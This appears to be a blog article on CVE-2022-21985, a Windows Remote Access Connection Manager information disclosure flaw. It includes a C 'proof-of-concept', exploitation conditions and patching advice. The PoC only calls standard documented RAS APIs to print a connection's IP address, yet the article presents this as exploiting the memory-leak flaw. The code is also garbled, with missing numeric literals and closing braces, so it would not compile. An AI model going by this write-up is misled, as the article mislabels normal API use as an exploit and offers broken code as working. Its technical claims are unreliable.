Security vulnerabilities represent a constant risk for individuals and organizations, especially when they involve sensitive or confidential information. Today, we will dive into CVE-2022-21985, a recently discovered vulnerability that affects the Windows Remote Access Connection Manager (RASMAN) and, if exploited, could allow an attacker to disclose sensitive information.


CVE-2022-21985, classified as an information disclosure vulnerability, was assigned to a flaw discovered in the Windows Remote Access Connection Manager (RASMAN) service. This critical component within the Windows operating system manages remote access connections, such as VPN or dial-up connections.

The vulnerability arises when RASMAN improperly manages its memory allocations, leading to a potential leak of sensitive information. This information can include data from previous sessions or even sensitive credentials, ultimately resulting in unauthorized access to the compromised system or network.

The flaw is deemed significant as it affects multiple Windows versions, namely Windows 10, Windows 11, and Windows Server 2016/2019/2022. Before diving into potential exploitation scenarios, it is crucial to understand how RASMAN operates and its role in remote access connections.

Code Snippet

Let's examine a sample proof-of-concept (PoC) exploit that demonstrates how an attacker could abuse this vulnerability (note: the following code is for educational purposes only):

#include <ras.h>
#include <stdio.h>
#include <windows.h>

int main(){
    DWORD size = , connections = ;
    RASCONN conn[1];
    conn[].dwSize = sizeof(RASCONN);
    // Attempt to retrieve active RAS connections
    DWORD result = RasEnumConnections(conn, &size, &connections);
    if (result != ERROR_SUCCESS){
        printf("Error acquiring RAS connections: %d\n", result);
        return 1;
    for (DWORD i = ; i < connections; i++){
        RASPPPIP pppDetails;
        pppDetails.dwSize = sizeof(RASPPPIP);
        // Exploit the vulnerability to view PPP session information
        result = RasGetProjectionInfo(conn[i].hrasconn, RASP_PppIp, &pppDetails, &pppDetails.dwSize);
        if (result != ERROR_SUCCESS){
            printf("Error retrieving PPP session information: %d\n", result);
            return 1;
        printf("IP Address: %s\n", pppDetails.szIpAddress);
    return ;

This code snippet demonstrates how an attacker could exploit the vulnerability by attempting to retrieve active RAS connections and the associated PPP session information. If successful, the attacker could potentially view sensitive data, such as IP addresses in this example.

Original References

Microsoft published an official security advisory for CVE-2022-21985, detailing the affected product versions, potential impact, and proposed mitigations. You can find the full advisory at the following link:

- Microsoft CVE-2022-21985 Advisory

Exploit Details

In a real-world scenario, an attacker armed with the knowledge of CVE-2022-21985 must meet specific conditions to successfully exploit the vulnerability. First, the attacker would require local access to the targeted system. This requirement significantly reduces the potential attack surface, as remote exploitation is not viable.

Upon gaining local access, the attacker could execute the PoC code (or a variation thereof) to disclose potentially sensitive information. By acquiring this information, they may be able to facilitate further malicious activity, such as elevating their privileges or exfiltrating data from the compromised system.


CVE-2022-21985 serves as a reminder of the importance of consistently monitoring and addressing the security vulnerabilities in software systems that handle sensitive information. Organizations and individuals should prioritize timely patching and the implementation of best security practices to protect their systems and networks from potential attacks. Microsoft's advisory provides the necessary details for addressing this vulnerability, and applying the recommended remedies will help ensure the ongoing security of Windows Remote Access Connection Manager services.


Published on: 02/09/2022 17:15:00 UTC
Last modified on: 05/23/2022 17:29:00 UTC